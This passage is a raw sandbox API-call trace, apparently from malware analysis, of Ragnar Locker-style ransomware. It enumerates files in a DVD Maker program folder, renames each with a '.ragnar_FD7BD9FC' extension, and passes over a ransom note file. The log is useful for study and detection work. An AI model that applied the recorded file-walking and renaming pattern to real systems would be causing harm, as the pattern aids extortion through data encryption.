ftLastWriteTime.dwLowDateTime=0x6895ae5b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6d1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="DissolveAnother.png", cAlternateFileName="")) returned 1 [0079.417] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x29 [0079.417] lstrcpyW (in: lpString1=0x1ec0e4, lpString2="DissolveAnother.png" | out: lpString1="DissolveAnother.png") returned="DissolveAnother.png" [0079.417] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned=".png" [0079.420] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolveanother.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.420] CloseHandle (hObject=0xffffffff) returned 0 [0079.420] lstrcpyW (in: lpString1=0x1eb5b8, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png" [0079.420] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png.ragnar_FD7BD9FC" [0079.420] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolveanother.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dissolveanother.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.420] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93d38e22, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93d38e22, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x68980fb9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb7835, dwReserved0=0x0, dwReserved1=0x0, cFileName="DissolveNoise.png", cAlternateFileName="")) returned 1 [0079.420] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x29 [0079.420] lstrcpyW (in: lpString1=0x1ec0e4, lpString2="DissolveNoise.png" | out: lpString1="DissolveNoise.png") returned="DissolveNoise.png" [0079.420] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned=".png" [0079.420] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolvenoise.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.420] CloseHandle (hObject=0xffffffff) returned 0 [0079.421] lstrcpyW (in: lpString1=0x1eb5b8, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png" [0079.421] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png.ragnar_FD7BD9FC" [0079.421] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolvenoise.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dissolvenoise.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.421] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x81271720, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81271720, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DvdStyles", cAlternateFileName="DVDSTY~1")) returned 1 [0079.421] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9060745b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x9060745b, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x4877fc17, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x379f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Filters.xml", cAlternateFileName="")) returned 1 [0079.421] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x29 [0079.421] lstrcpyW (in: lpString1=0x1ec0e4, lpString2="Filters.xml" | out: lpString1="Filters.xml") returned="Filters.xml" [0079.421] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\Filters.xml") returned=".xml" [0079.421] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\Filters.xml" (normalized: "c:\\program files\\dvd maker\\shared\\filters.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.421] CloseHandle (hObject=0xffffffff) returned 0 [0079.421] lstrcpyW (in: lpString1=0x1eb5b8, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\Filters.xml" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\Filters.xml") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\Filters.xml" [0079.421] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\Filters.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\Filters.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\Filters.xml.ragnar_FD7BD9FC" [0079.421] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\Filters.xml" (normalized: "c:\\program files\\dvd maker\\shared\\filters.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\Filters.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\filters.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.421] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93e437ad, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93e437ad, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x689cd275, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8edf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parity.fx", cAlternateFileName="")) returned 1 [0079.421] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x29 [0079.421] lstrcpyW (in: lpString1=0x1ec0e4, lpString2="Parity.fx" | out: lpString1="Parity.fx") returned="Parity.fx" [0079.422] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\Parity.fx") returned=".fx" [0079.422] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\Parity.fx" (normalized: "c:\\program files\\dvd maker\\shared\\parity.fx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.422] CloseHandle (hObject=0xffffffff) returned 0 [0079.422] lstrcpyW (in: lpString1=0x1eb5b8, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\Parity.fx" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\Parity.fx") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\Parity.fx" [0079.422] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\Parity.fx", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\Parity.fx.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\Parity.fx.ragnar_FD7BD9FC" [0079.422] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\Parity.fx" (normalized: "c:\\program files\\dvd maker\\shared\\parity.fx"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\Parity.fx.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\parity.fx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.422] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8124b5c0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x8124b5c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0079.422] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x29 [0079.422] lstrcpyW (in: lpString1=0x1ec0e4, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0079.422] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\RGNR_FD7BD9FC.txt") returned=".txt" [0079.422] FindClose (in: hFindFile=0x5a12e8 | out: hFindFile=0x5a12e8) returned 1 [0079.422] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13600, dwReserved0=0x0, dwReserved1=0x0, cFileName="soniccolorconverter.ax", cAlternateFileName="")) returned 1 [0079.422] lstrcmpiW (lpString1="soniccolorconverter.ax", lpString2=".") returned 1 [0079.422] lstrcmpiW (lpString1="soniccolorconverter.ax", lpString2="..") returned 1 [0079.422] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bdd9df, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0bdd9df, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0bdd9df, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sonicsptransform.ax", cAlternateFileName="")) returned 1 [0079.422] lstrcmpiW (lpString1="sonicsptransform.ax", lpString2=".") returned 1 [0079.422] lstrcmpiW (lpString1="sonicsptransform.ax", lpString2="..") returned 1 [0079.422] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bb787f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0bb787f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0bdd9df, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMM2CLIP.dll", cAlternateFileName="")) returned 1 [0079.422] lstrcmpiW (lpString1="WMM2CLIP.dll", lpString2=".") returned 1 [0079.423] lstrcmpiW (lpString1="WMM2CLIP.dll", lpString2="..") returned 1 [0079.423] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bb787f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0bb787f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0bdd9df, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMM2CLIP.dll", cAlternateFileName="")) returned 0 [0079.423] FindClose (in: hFindFile=0x5a12a8 | out: hFindFile=0x5a12a8) returned 1 [0079.423] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\*.*", lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81225460, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81225460, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a12a8 [0079.423] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81225460, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81225460, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.423] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0ed7565, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0ed7565, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0efd6c5, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x0, dwReserved1=0x0, cFileName="audiodepthconverter.ax", cAlternateFileName="")) returned 1 [0079.423] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x22 [0079.423] lstrcpyW (in: lpString1=0x1ecbae, lpString2="audiodepthconverter.ax" | out: lpString1="audiodepthconverter.ax") returned="audiodepthconverter.ax" [0079.423] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\audiodepthconverter.ax") returned=".ax" [0079.424] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\audiodepthconverter.ax" (normalized: "c:\\program files\\dvd maker\\audiodepthconverter.ax"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.424] CloseHandle (hObject=0xffffffff) returned 0 [0079.424] lstrcpyW (in: lpString1=0x1ec090, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\audiodepthconverter.ax" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\audiodepthconverter.ax") returned="\\\\?\\C:\\Program Files\\DVD Maker\\audiodepthconverter.ax" [0079.424] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\audiodepthconverter.ax", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\audiodepthconverter.ax.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\audiodepthconverter.ax.ragnar_FD7BD9FC" [0079.424] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\audiodepthconverter.ax" (normalized: "c:\\program files\\dvd maker\\audiodepthconverter.ax"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\audiodepthconverter.ax.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\audiodepthconverter.ax.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.424] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499cc441, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x499cc441, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x499cc441, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1303c, dwReserved0=0x0, dwReserved1=0x0, cFileName="bod_r.TTF", cAlternateFileName="")) returned 1 [0079.424] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x22 [0079.424] lstrcpyW (in: lpString1=0x1ecbae, lpString2="bod_r.TTF" | out: lpString1="bod_r.TTF") returned="bod_r.TTF" [0079.424] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\bod_r.TTF") returned=".TTF" [0079.424] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\bod_r.TTF" (normalized: "c:\\program files\\dvd maker\\bod_r.ttf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.425] CloseHandle (hObject=0xffffffff) returned 0 [0079.425] lstrcpyW (in: lpString1=0x1ec090, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\bod_r.TTF" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\bod_r.TTF") returned="\\\\?\\C:\\Program Files\\DVD Maker\\bod_r.TTF" [0079.425] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\bod_r.TTF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\bod_r.TTF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\bod_r.TTF.ragnar_FD7BD9FC" [0079.425] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\bod_r.TTF" (normalized: "c:\\program files\\dvd maker\\bod_r.ttf"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\bod_r.TTF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\bod_r.ttf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.425] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0eb1404, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0eb1404, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0ed7565, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="directshowtap.ax", cAlternateFileName="")) returned 1 [0079.425] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x22 [0079.425] lstrcpyW (in: lpString1=0x1ecbae, lpString2="directshowtap.ax" | out: lpString1="directshowtap.ax") returned="directshowtap.ax" [0079.425] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\directshowtap.ax") returned=".ax" [0079.425] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\directshowtap.ax" (normalized: "c:\\program files\\dvd maker\\directshowtap.ax"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.425] CloseHandle (hObject=0xffffffff) returned 0 [0079.425] lstrcpyW (in: lpString1=0x1ec090, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\directshowtap.ax" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\directshowtap.ax") returned="\\\\?\\C:\\Program Files\\DVD Maker\\directshowtap.ax" [0079.425] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\directshowtap.ax", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\directshowtap.ax.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\directshowtap.ax.ragnar_FD7BD9FC" [0079.425] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\directshowtap.ax" (normalized: "c:\\program files\\dvd maker\\directshowtap.ax"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\directshowtap.ax.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\directshowtap.ax.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.425] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9ae6642, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xc9ae6642, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xe1601f60, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x227600, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVDMaker.exe", cAlternateFileName="")) returned 1 [0079.426] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x22 [0079.426] lstrcpyW (in: lpString1=0x1ecbae, lpString2="DVDMaker.exe" | out: lpString1="DVDMaker.exe") returned="DVDMaker.exe" [0079.426] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\DVDMaker.exe") returned=".exe" [0079.426] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x22 [0079.426] lstrcpyW (in: lpString1=0x1ecbae, lpString2="Eurosti.TTF" | out: lpString1="Eurosti.TTF") returned="Eurosti.TTF" [0079.426] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Eurosti.TTF") returned=".TTF" [0079.426] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Eurosti.TTF" (normalized: "c:\\program files\\dvd maker\\eurosti.ttf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.426] CloseHandle (hObject=0xffffffff) returned 0 [0079.426] lstrcpyW (in: lpString1=0x1ec090, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Eurosti.TTF" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Eurosti.TTF") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Eurosti.TTF" [0079.426] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Eurosti.TTF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Eurosti.TTF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Eurosti.TTF.ragnar_FD7BD9FC" [0079.426] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Eurosti.TTF" (normalized: "c:\\program files\\dvd maker\\eurosti.ttf"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Eurosti.TTF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\eurosti.ttf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.426] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa200, dwReserved0=0x0, dwReserved1=0x0, cFileName="fieldswitch.ax", cAlternateFileName="")) returned 1 [0079.426] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | out: 